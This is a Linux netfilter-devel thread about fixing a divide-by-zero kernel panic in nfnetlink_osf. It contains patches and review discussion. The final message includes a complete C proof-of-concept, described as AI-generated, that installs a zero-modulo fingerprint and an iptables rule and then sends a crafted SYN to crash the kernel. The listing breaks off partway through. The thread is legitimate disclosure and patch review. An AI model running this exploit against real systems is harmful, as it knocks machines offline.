* [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
@ 2026-04-10 20:48 Xiang Mei
2026-04-11 7:56 ` Fernando Fernandez Mancera
2026-04-11 20:41 ` Florian Westphal
0 siblings, 2 replies; 8+ messages in thread
From: Xiang Mei @ 2026-04-10 20:48 UTC (permalink / raw)
To: netfilter-devel
Cc: Pablo Neira Ayuso, Florian Westphal, Phil Sutter, coreteam,
Weiming Shi, Xiang Mei
The OSF_WSS_MODULO branch in nf_osf_match_one() performs:
ctx->window % f->wss.val
without guarding against f->wss.val == 0. A user with CAP_NET_ADMIN
can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
via nfnetlink. When a matching TCP SYN packet arrives, the kernel
executes a division by zero and panics.
The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
everything). Apply the same semantics to OSF_WSS_MODULO: if val is 0,
any window value matches rather than dividing by zero.
Crash:
Oops: divide error: 0000 [#1] SMP KASAN NOPTI
RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
Call Trace:
<IRQ>
nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
xt_osf_match_packet (net/netfilter/xt_osf.c:32)
ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
ip_local_deliver (net/ipv4/ip_input.c:265)
ip_rcv (include/linux/skbuff.h:1162)
__netif_receive_skb_one_core (net/core/dev.c:6181)
process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
__napi_poll (net/core/dev.c:7710)
net_rx_action (net/core/dev.c:7945)
handle_softirqs (kernel/softirq.c:622)
Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
net/netfilter/nfnetlink_osf.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 45d9ad231..193436aa9 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -150,7 +150,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
fmatch = FMATCH_OK;
break;
case OSF_WSS_MODULO:
- if ((ctx->window % f->wss.val) == 0)
+ if (f->wss.val == 0 || (ctx->window % f->wss.val) == 0)
fmatch = FMATCH_OK;
break;
}
--
2.43.0
^ permalink raw reply related [flat|nested] 8+ messages in thread* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO 2026-04-10 20:48 [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO Xiang Mei @ 2026-04-11 7:56 ` Fernando Fernandez Mancera 2026-04-11 20:41 ` Florian Westphal 1 sibling, 0 replies; 8+ messages in thread From: Fernando Fernandez Mancera @ 2026-04-11 7:56 UTC (permalink / raw) To: Xiang Mei, netfilter-devel Cc: Pablo Neira Ayuso, Florian Westphal, Phil Sutter, coreteam, Weiming Shi On 4/10/26 10:48 PM, Xiang Mei wrote: > The OSF_WSS_MODULO branch in nf_osf_match_one() performs: > > ctx->window % f->wss.val > > without guarding against f->wss.val == 0. A user with CAP_NET_ADMIN > can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0 > via nfnetlink. When a matching TCP SYN packet arrives, the kernel > executes a division by zero and panics. > > The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match > everything). Apply the same semantics to OSF_WSS_MODULO: if val is 0, > any window value matches rather than dividing by zero. > > Crash: > Oops: divide error: 0000 [#1] SMP KASAN NOPTI > RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98) > Call Trace: > <IRQ> > nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6)) > xt_osf_match_packet (net/netfilter/xt_osf.c:32) > ipt_do_table (net/ipv4/netfilter/ip_tables.c:348) > nf_hook_slow (net/netfilter/core.c:622 (discriminator 1)) > ip_local_deliver (net/ipv4/ip_input.c:265) > ip_rcv (include/linux/skbuff.h:1162) > __netif_receive_skb_one_core (net/core/dev.c:6181) > process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642) > __napi_poll (net/core/dev.c:7710) > net_rx_action (net/core/dev.c:7945) > handle_softirqs (kernel/softirq.c:622) > > Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx") > Reported-by: Weiming Shi <bestswngs@gmail.com> > Signed-off-by: Xiang Mei <xmei5@asu.edu> LGTM, but I don't see this happening at all to be honest. Such fingerprint would be bogus anyway. The fixes tag is not correct I think. This was introduced on 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match") actually. Reviewed-by: Fernando Fernandez Mancera <fmancera@suse.de> ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO 2026-04-10 20:48 [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO Xiang Mei 2026-04-11 7:56 ` Fernando Fernandez Mancera @ 2026-04-11 20:41 ` Florian Westphal 2026-04-14 11:01 ` Pablo Neira Ayuso 1 sibling, 1 reply; 8+ messages in thread From: Florian Westphal @ 2026-04-11 20:41 UTC (permalink / raw) To: Xiang Mei Cc: netfilter-devel, Pablo Neira Ayuso, Phil Sutter, coreteam, Weiming Shi Xiang Mei <xmei5@asu.edu> wrote: > The OSF_WSS_MODULO branch in nf_osf_match_one() performs: > > ctx->window % f->wss.val > > without guarding against f->wss.val == 0. A user with CAP_NET_ADMIN > can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0 > via nfnetlink. When a matching TCP SYN packet arrives, the kernel > executes a division by zero and panics. > > The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match > everything). Apply the same semantics to OSF_WSS_MODULO: if val is 0, > any window value matches rather than dividing by zero. > > Crash: > Oops: divide error: 0000 [#1] SMP KASAN NOPTI > RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98) > Call Trace: > <IRQ> > nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6)) > xt_osf_match_packet (net/netfilter/xt_osf.c:32) > ipt_do_table (net/ipv4/netfilter/ip_tables.c:348) > nf_hook_slow (net/netfilter/core.c:622 (discriminator 1)) > ip_local_deliver (net/ipv4/ip_input.c:265) > ip_rcv (include/linux/skbuff.h:1162) > __netif_receive_skb_one_core (net/core/dev.c:6181) > process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642) > __napi_poll (net/core/dev.c:7710) > net_rx_action (net/core/dev.c:7945) > handle_softirqs (kernel/softirq.c:622) > > Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx") Hmm, why? AFAICS the bug was there from start: 11eeef41d5f63 case OSF_WSS_MODULO: 11eeef41d5f63 if ((window % f->wss.val) == 0) 11eeef41d5f63 fmatch = FMATCH_OK; So: Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match") > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c > index 45d9ad231..193436aa9 100644 > --- a/net/netfilter/nfnetlink_osf.c > +++ b/net/netfilter/nfnetlink_osf.c > @@ -150,7 +150,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb, > fmatch = FMATCH_OK; > break; > case OSF_WSS_MODULO: > - if ((ctx->window % f->wss.val) == 0) > + if (f->wss.val == 0 || (ctx->window % f->wss.val) == 0) Could you send a v2 that rejects this from control plane instead? Nobody is using a 0 value, else we'd have gotted such crash reports by now. ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO 2026-04-11 20:41 ` Florian Westphal @ 2026-04-14 11:01 ` Pablo Neira Ayuso 2026-04-14 11:11 ` Florian Westphal 0 siblings, 1 reply; 8+ messages in thread From: Pablo Neira Ayuso @ 2026-04-14 11:01 UTC (permalink / raw) To: Florian Westphal Cc: Xiang Mei, netfilter-devel, Phil Sutter, coreteam, Weiming Shi On Sat, Apr 11, 2026 at 10:41:32PM +0200, Florian Westphal wrote: > Xiang Mei <xmei5@asu.edu> wrote: > > The OSF_WSS_MODULO branch in nf_osf_match_one() performs: > > > > ctx->window % f->wss.val > > > > without guarding against f->wss.val == 0. A user with CAP_NET_ADMIN > > can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0 > > via nfnetlink. When a matching TCP SYN packet arrives, the kernel > > executes a division by zero and panics. > > > > The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match > > everything). Apply the same semantics to OSF_WSS_MODULO: if val is 0, > > any window value matches rather than dividing by zero. > > > > Crash: > > Oops: divide error: 0000 [#1] SMP KASAN NOPTI > > RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98) > > Call Trace: > > <IRQ> > > nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6)) > > xt_osf_match_packet (net/netfilter/xt_osf.c:32) > > ipt_do_table (net/ipv4/netfilter/ip_tables.c:348) > > nf_hook_slow (net/netfilter/core.c:622 (discriminator 1)) > > ip_local_deliver (net/ipv4/ip_input.c:265) > > ip_rcv (include/linux/skbuff.h:1162) > > __netif_receive_skb_one_core (net/core/dev.c:6181) > > process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642) > > __napi_poll (net/core/dev.c:7710) > > net_rx_action (net/core/dev.c:7945) > > handle_softirqs (kernel/softirq.c:622) > > > > Fixes: 31a9c29210e2 ("netfilter: nf_osf: add struct nf_osf_hdr_ctx") > > Hmm, why? AFAICS the bug was there from start: > > 11eeef41d5f63 case OSF_WSS_MODULO: > 11eeef41d5f63 if ((window % f->wss.val) == 0) > 11eeef41d5f63 fmatch = FMATCH_OK; > > So: > Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match") > > > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c > > index 45d9ad231..193436aa9 100644 > > --- a/net/netfilter/nfnetlink_osf.c > > +++ b/net/netfilter/nfnetlink_osf.c > > @@ -150,7 +150,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb, > > fmatch = FMATCH_OK; > > break; > > case OSF_WSS_MODULO: > > - if ((ctx->window % f->wss.val) == 0) > > + if (f->wss.val == 0 || (ctx->window % f->wss.val) == 0) > > Could you send a v2 that rejects this from control plane instead? > Nobody is using a 0 value, else we'd have gotted such crash reports by > now. No news from this, I think this should be fine: @@ -329,6 +332,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4) return -EINVAL; + switch (f->wss.wc) { + case OSF_WSS_MODULO: + if (f->wss.val == 0) + return -EINVAL; + break; + default: + break; + } + tot_opt_len += f->opt[i].length; if (tot_opt_len > MAX_IPOPTLEN) return -EINVAL; If no concerns, I will post a patch. ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO 2026-04-14 11:01 ` Pablo Neira Ayuso @ 2026-04-14 11:11 ` Florian Westphal 2026-04-14 22:00 ` Xiang Mei 0 siblings, 1 reply; 8+ messages in thread From: Florian Westphal @ 2026-04-14 11:11 UTC (permalink / raw) To: Pablo Neira Ayuso Cc: Xiang Mei, netfilter-devel, Phil Sutter, coreteam, Weiming Shi Pablo Neira Ayuso <pablo@netfilter.org> wrote: > @@ -329,6 +332,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, > if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4) > return -EINVAL; > > + switch (f->wss.wc) { > + case OSF_WSS_MODULO: > + if (f->wss.val == 0) > + return -EINVAL; > + break; > + default: > + break; > + } > + > tot_opt_len += f->opt[i].length; > if (tot_opt_len > MAX_IPOPTLEN) > return -EINVAL; > > If no concerns, I will post a patch. Thanks Pablo, LGTM. ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO 2026-04-14 11:11 ` Florian Westphal @ 2026-04-14 22:00 ` Xiang Mei 0 siblings, 0 replies; 8+ messages in thread From: Xiang Mei @ 2026-04-14 22:00 UTC (permalink / raw) To: Florian Westphal Cc: Pablo Neira Ayuso, netfilter-devel, Phil Sutter, coreteam, Weiming Shi Sorry for the delayed reply. Thanks for the suggestion to patch it in the configuration path and for correcting the fix commit. v2 would be sent ASAP. On Tue, Apr 14, 2026 at 4:12 AM Florian Westphal <fw@strlen.de> wrote: > > Pablo Neira Ayuso <pablo@netfilter.org> wrote: > > @@ -329,6 +332,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, > > if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4) > > return -EINVAL; > > > > + switch (f->wss.wc) { > > + case OSF_WSS_MODULO: > > + if (f->wss.val == 0) > > + return -EINVAL; > > + break; > > + default: > > + break; > > + } > > + > > tot_opt_len += f->opt[i].length; > > if (tot_opt_len > MAX_IPOPTLEN) > > return -EINVAL; > > > > If no concerns, I will post a patch. > > Thanks Pablo, LGTM. ^ permalink raw reply [flat|nested] 8+ messages in thread
* [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO
@ 2026-04-14 11:17 Pablo Neira Ayuso
2026-04-14 21:58 ` Xiang Mei
0 siblings, 1 reply; 8+ messages in thread
From: Pablo Neira Ayuso @ 2026-04-14 11:17 UTC (permalink / raw)
To: netfilter-devel; +Cc: xmei5, fw
Xiang Mei says:
The OSF_WSS_MODULO branch in nf_osf_match_one() performs:
ctx->window % f->wss.val
without guarding against f->wss.val == 0. A user with CAP_NET_ADMIN
can add an OSF fingerprint with wss.wc = OSF_WSS_MODULO and wss.val = 0
via nfnetlink. When a matching TCP SYN packet arrives, the kernel
executes a division by zero and panics.
The OSF_WSS_PLAIN case already treats val == 0 as a wildcard (match
everything). Apply the same semantics to OSF_WSS_MODULO: if val is 0,
any window value matches rather than dividing by zero.
Crash:
Oops: divide error: 0000 [#1] SMP KASAN NOPTI
RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98)
Call Trace:
<IRQ>
nf_osf_match (net/netfilter/nfnetlink_osf.c:220 (discriminator 6))
xt_osf_match_packet (net/netfilter/xt_osf.c:32)
ipt_do_table (net/ipv4/netfilter/ip_tables.c:348)
nf_hook_slow (net/netfilter/core.c:622 (discriminator 1))
ip_local_deliver (net/ipv4/ip_input.c:265)
ip_rcv (include/linux/skbuff.h:1162)
__netif_receive_skb_one_core (net/core/dev.c:6181)
process_backlog (.include/linux/skbuff.h:2502 net/core/dev.c:6642)
__napi_poll (net/core/dev.c:7710)
net_rx_action (net/core/dev.c:7945)
handle_softirqs (kernel/softirq.c:622
Fix this from control plane, reject f->wss.val == 0 if wss.ws is
OSF_WSS_MODULO.
Fixes: 11eeef41d5f6 ("netfilter: passive OS fingerprint xtables match")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
---
Apologies, I don't mean to step on your feet with this patch.
This just expedites scrutiny before PR submission.
net/netfilter/nfnetlink_osf.c | 9 +++++++++
1 file changed, 9 insertions(+)
diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 5d15651c74f0..bf47a3812910 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -329,6 +329,15 @@ static int nfnl_osf_add_callback(struct sk_buff *skb,
if (f->opt[i].kind == OSFOPT_MSS && f->opt[i].length < 4)
return -EINVAL;
+ switch (f->wss.wc) {
+ case OSF_WSS_MODULO:
+ if (f->wss.val == 0)
+ return -EINVAL;
+ break;
+ default:
+ break;
+ }
+
tot_opt_len += f->opt[i].length;
if (tot_opt_len > MAX_IPOPTLEN)
return -EINVAL;
--
2.47.3
^ permalink raw reply related [flat|nested] 8+ messages in thread* Re: [PATCH nf] netfilter: nfnetlink_osf: fix divide-by-zero in OSF_WSS_MODULO 2026-04-14 11:17 Pablo Neira Ayuso @ 2026-04-14 21:58 ` Xiang Mei 0 siblings, 0 replies; 8+ messages in thread From: Xiang Mei @ 2026-04-14 21:58 UTC (permalink / raw) To: Pablo Neira Ayuso; +Cc: netfilter-devel, fw Hi Pablo, Sorry for the delay. I didn't get time to check the v1 discussion last week. Thanks for the tip that we should patch the bug at the configuration path. For the v2 patch. I have found that if we have `f->opt_num=0`, we can bypass this check, and I used Claude to generate a PoC and verified it: ```c /* * AI-GENERATED PoC — This code was produced by an AI assistant. * It has NOT been reviewed or verified by a human. * Bug: Divide-by-zero in nf_osf_match_one when WSS mode is MODULO and wss.val is zero * Type: Divide-by-zero / Kernel panic * File: net/netfilter/nfnetlink_osf.c * * Steps: * 1. Add malicious OSF fingerprint with wss.wc=OSF_WSS_MODULO(3), wss.val=0 via nfnetlink * (requires root/CAP_NET_ADMIN in init namespace via capable() check) * 2. Add iptables rule with "osf" match via raw setsockopt (no iptables binary needed) * 3. Send TCP SYN matching the fingerprint * 4. Kernel computes ctx->window % 0 → divide-by-zero Oops * * REQUIREMENTS: * - Root privilege (capable(CAP_NET_ADMIN)) to add OSF fingerprint * - CONFIG_IP_NF_FILTER=y (iptables filter table must be compiled in) * - CONFIG_NETFILTER_XT_MATCH_OSF=y (osf match compiled in) * - CONFIG_NETFILTER_NETLINK_OSF=y (OSF fingerprint database compiled in) * * Compile: gcc -static -o exploit poc.c -w */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <stdint.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/x_tables.h> #include <linux/types.h> /* OSF constants */ #define MAXGENRELEN 32 #define MAX_IPOPTLEN 40 #define OSF_WSS_MODULO 3 #define OSF_ATTR_FINGER 1 #define OSF_MSG_ADD 0 #define NFNL_SUBSYS_OSF 5 #define NFNETLINK_V0 0 struct nf_osf_wc { __u32 wc; __u32 val; }; struct nf_osf_opt { __u16 kind, length; struct nf_osf_wc wc; }; struct nf_osf_user_finger { struct nf_osf_wc wss; __u8 ttl, df; __u16 ss, mss; __u16 opt_num; char genre[MAXGENRELEN]; char version[MAXGENRELEN]; char subtype[MAXGENRELEN]; struct nf_osf_opt opt[MAX_IPOPTLEN]; }; /* osf match info (same layout as nf_osf_info from uapi header) */ struct osf_match_info { char genre[MAXGENRELEN]; __u32 len; __u32 flags; /* NF_OSF_GENRE = 1 */ __u32 loglevel; __u32 ttl; }; #define NF_OSF_GENRE (1 << 0) /* ---- OSF fingerprint addition via nfnetlink ---- */ static int add_osf_fingerprint(void) { struct { struct nlmsghdr nlh; struct nfgenmsg nfg; struct nlattr nla; struct nf_osf_user_finger finger; } msg; struct sockaddr_nl addr; int sock, ret; char buf[4096]; memset(&msg, 0, sizeof(msg)); /* Fingerprint: wss.wc=MODULO, wss.val=0 → triggers divide-by-zero */ msg.finger.wss.wc = OSF_WSS_MODULO; msg.finger.wss.val = 0; /* BUG: ctx->window % 0 → SIGFPE */ msg.finger.ss = 40; /* IP total length: 20 IP + 20 TCP */ msg.finger.ttl = 64; /* TTL must match */ msg.finger.df = 0; /* DF=0 → goes into nf_osf_fingers[0] */ msg.finger.opt_num = 0; /* no TCP options */ strncpy(msg.finger.genre, "TestOS", MAXGENRELEN - 1); strncpy(msg.finger.version, "1.0", MAXGENRELEN - 1); strncpy(msg.finger.subtype, "test", MAXGENRELEN - 1); msg.nla.nla_type = OSF_ATTR_FINGER; msg.nla.nla_len = sizeof(struct nlattr) + sizeof(struct nf_osf_user_finger); msg.nfg.nfgen_family = AF_INET; msg.nfg.version = NFNETLINK_V0; msg.nlh.nlmsg_type = (NFNL_SUBSYS_OSF << 8) | OSF_MSG_ADD; msg.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; msg.nlh.nlmsg_len = sizeof(msg); msg.nlh.nlmsg_seq = 1; msg.nlh.nlmsg_pid = getpid(); sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock < 0) { perror("socket(NETLINK_NETFILTER)"); return -1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return -1; } struct sockaddr_nl kernel = {.nl_family = AF_NETLINK}; ret = sendto(sock, &msg, sizeof(msg), 0, (struct sockaddr *)&kernel, sizeof(kernel)); if (ret < 0) { perror("sendto(fingerprint)"); close(sock); return -1; } /* Check for error response */ ret = recv(sock, buf, sizeof(buf), MSG_DONTWAIT); if (ret > 0) { struct nlmsghdr *resp = (struct nlmsghdr *)buf; if (resp->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = (struct nlmsgerr *)(resp + 1); if (err->error != 0) { fprintf(stderr, "[-] OSF fingerprint add error: %d (%s)\n", -err->error, strerror(-err->error)); close(sock); return -1; } } } printf("[+] OSF fingerprint added (wss.wc=MODULO, wss.val=0)\n"); close(sock); return 0; } /* ---- iptables rule addition via raw setsockopt ---- */ /* * Layout of new entry: * ipt_entry (112 bytes, aligned 112) * xt_entry_match header (32) + osf_match_info data (48) = 80 bytes (aligned 80) * xt_standard_target (40 bytes, aligned 40) * Total: 112 + 80 + 40 = 232 bytes */ #define XT_ALIGN8(s) (((s) + 7) & ~7) static int add_iptables_rule(void) { int sock, ret; struct ipt_getinfo info; struct ipt_get_entries *old_entries; struct ipt_replace *repl; size_t match_size, target_size, new_entry_size, new_total_size, old_size; unsigned char *new_entries_buf; unsigned int input_offset; /* Sizes */ match_size = XT_ALIGN8(sizeof(struct xt_entry_match) + sizeof(struct osf_match_info)); target_size = XT_ALIGN8(sizeof(struct xt_standard_target)); new_entry_size = XT_ALIGN8(sizeof(struct ipt_entry)) + match_size + target_size; sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket(AF_INET, SOCK_RAW)"); return -1; } /* Get current filter table info */ { socklen_t sz = sizeof(info); memset(&info, 0, sizeof(info)); strncpy(info.name, "filter", sizeof(info.name) - 1); if (getsockopt(sock, IPPROTO_IP, IPT_SO_GET_INFO, &info, &sz) < 0) { perror("getsockopt(IPT_SO_GET_INFO)"); close(sock); return -1; } } old_size = info.size; /* Get current filter table entries */ { size_t total = sizeof(struct ipt_get_entries) + old_size; socklen_t sz; old_entries = calloc(1, total); if (!old_entries) { perror("calloc(old_entries)"); close(sock); return -1; } strncpy(old_entries->name, "filter", sizeof(old_entries->name) - 1); old_entries->size = old_size; sz = (socklen_t)total; if (getsockopt(sock, IPPROTO_IP, IPT_SO_GET_ENTRIES, old_entries, &sz) < 0) { perror("getsockopt(IPT_SO_GET_ENTRIES)"); free(old_entries); close(sock); return -1; } } new_total_size = old_size + new_entry_size; input_offset = info.hook_entry[NF_INET_LOCAL_IN]; /* Build new entries: [before INPUT] + [our rule] + [original from INPUT onward] */ new_entries_buf = calloc(1, new_total_size); if (!new_entries_buf) { perror("calloc"); free(old_entries); close(sock); return -1; } if (input_offset > 0) memcpy(new_entries_buf, old_entries->entrytable, input_offset); /* Build our iptables entry */ struct ipt_entry *entry = (struct ipt_entry *)(new_entries_buf + input_offset); entry->ip.proto = IPPROTO_TCP; /* match TCP */ entry->ip.flags = 0; entry->ip.invflags = 0; entry->nfcache = 0; entry->target_offset = XT_ALIGN8(sizeof(struct ipt_entry)) + match_size; entry->next_offset = new_entry_size; /* Match: "osf" */ struct xt_entry_match *mhdr = (struct xt_entry_match *)(entry->elems); mhdr->u.user.match_size = (uint16_t)match_size; strncpy(mhdr->u.user.name, "osf", XT_EXTENSION_MAXNAMELEN - 1); mhdr->u.user.revision = 0; struct osf_match_info *mdata = (struct osf_match_info *)(mhdr->data); strncpy(mdata->genre, "TestOS", MAXGENRELEN - 1); mdata->len = 0; mdata->flags = NF_OSF_GENRE; mdata->loglevel = 2; mdata->ttl = 0; /* Target: standard ACCEPT (empty name, verdict = -(NF_ACCEPT+1) = -1) */ struct xt_standard_target *tgt = (struct xt_standard_target *) ((char *)entry + entry->target_offset); tgt->target.u.user.target_size = (uint16_t)target_size; tgt->target.u.user.name[0] = '\0'; /* XT_STANDARD_TARGET */ tgt->verdict = -NF_ACCEPT - 1; /* Copy original entries from INPUT offset onward */ memcpy(new_entries_buf + input_offset + new_entry_size, (char *)old_entries->entrytable + input_offset, old_size - input_offset); /* Build ipt_replace */ size_t repl_total = sizeof(struct ipt_replace) + new_total_size; repl = calloc(1, repl_total); if (!repl) { perror("calloc(repl)"); free(new_entries_buf); free(old_entries); close(sock); return -1; } strncpy(repl->name, "filter", sizeof(repl->name) - 1); repl->valid_hooks = info.valid_hooks; repl->num_entries = info.num_entries + 1; repl->size = new_total_size; repl->num_counters = info.num_entries; repl->counters = calloc(info.num_entries, sizeof(struct xt_counters)); if (!repl->counters) { perror("calloc(counters)"); free(repl); free(new_entries_buf); free(old_entries); close(sock); return -1; } /* Adjust hook/underflow offsets for all chains */ for (int i = 0; i < NF_INET_NUMHOOKS; i++) { if (!(info.valid_hooks & (1 << i))) continue; repl->hook_entry[i] = info.hook_entry[i]; repl->underflow[i] = info.underflow[i]; /* Shift entries that come after our insertion point */ if (info.hook_entry[i] > input_offset) repl->hook_entry[i] += new_entry_size; if (info.underflow[i] >= input_offset) repl->underflow[i] += new_entry_size; } /* INPUT chain: new rule is inserted at input_offset */ repl->hook_entry[NF_INET_LOCAL_IN] = input_offset; memcpy(repl->entries, new_entries_buf, new_total_size); ret = setsockopt(sock, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, repl_total); if (ret < 0) { perror("setsockopt(IPT_SO_SET_REPLACE)"); free(repl->counters); free(repl); free(new_entries_buf); free(old_entries); close(sock); return -1; } printf("[+] iptables rule added: -m osf --genre TestOS -j ACCEPT\n"); free(repl->counters); free(repl); free(new_entries_buf); free(old_entries); close(sock); return 0; } /* ---- TCP SYN packet ---- */ static unsigned short ip_checksum(void *ptr, int nbytes) { unsigned short *p = ptr; unsigned long sum = 0; while (nbytes > 1) { sum += *p++; nbytes -= 2; } if (nbytes == 1) sum += *(unsigned char *)p; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } /* * Send TCP SYN matching the fingerprint: * IP total length = 40 (20 IP + 20 TCP, no options) * TTL = 64, DF = 0 (no don't-fragment bit) * TCP SYN, no TCP options (doff=5) * Any window (any % 0 = divide by zero) */ static int send_matching_syn(void) { int sock, one = 1; struct sockaddr_in dest; char packet[40]; struct iphdr *ip = (struct iphdr *)packet; struct tcphdr *tcp = (struct tcphdr *)(packet + 20); memset(packet, 0, sizeof(packet)); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(40); /* must match fingerprint ss=40 */ ip->id = htons(0x1234); ip->frag_off = 0; /* DF=0 matches fingerprint df=0 */ ip->ttl = 64; /* must match fingerprint ttl=64 */ ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr("127.0.0.1"); ip->daddr = inet_addr("127.0.0.1"); ip->check = 0; ip->check = ip_checksum(ip, 20); tcp->source = htons(0xbeef); tcp->dest = htons(9999); tcp->seq = htonl(1); tcp->doff = 5; /* no options */ tcp->syn = 1; tcp->window = htons(65535); /* any window % 0 = crash */ tcp->check = 0; /* TCP pseudo-header checksum */ { struct { uint32_t s, d; uint8_t z, p; uint16_t l; } ph; char buf[sizeof(ph) + 20]; ph.s = ip->saddr; ph.d = ip->daddr; ph.z = 0; ph.p = IPPROTO_TCP; ph.l = htons(20); memcpy(buf, &ph, sizeof(ph)); memcpy(buf + sizeof(ph), tcp, 20); tcp->check = ip_checksum(buf, sizeof(buf)); } sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket(SOCK_RAW)"); return -1; } if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt(IP_HDRINCL)"); close(sock); return -1; } memset(&dest, 0, sizeof(dest)); dest.sin_family = AF_INET; dest.sin_port = htons(9999); dest.sin_addr.s_addr = inet_addr("127.0.0.1"); if (sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&dest, sizeof(dest)) < 0) { perror("sendto(SYN)"); close(sock); return -1; } close(sock); return 0; } int main(void) { printf("[*] OSF divide-by-zero PoC\n"); printf("[*] Bug: net/netfilter/nfnetlink_osf.c nf_osf_match_one()\n"); printf("[*] case OSF_WSS_MODULO: ctx->window %% f->wss.val\n"); printf("[*] when wss.val=0, this causes a divide-by-zero kernel panic\n\n"); /* Step 1: Add malicious OSF fingerprint */ printf("[*] Step 1: Adding malicious OSF fingerprint (wss.val=0)...\n"); if (add_osf_fingerprint() < 0) { fprintf(stderr, "[-] Fatal: could not add OSF fingerprint (need root)\n"); return 1; } /* Step 2: Add iptables rule to activate OSF matching */ printf("[*] Step 2: Adding iptables rule to enable OSF matching...\n"); if (add_iptables_rule() < 0) { fprintf(stderr, "[-] Fatal: could not add iptables rule\n"); return 1; } /* Step 3: Send matching TCP SYN packets */ printf("[*] Step 3: Sending TCP SYN packets to trigger divide-by-zero...\n"); for (int i = 0; i < 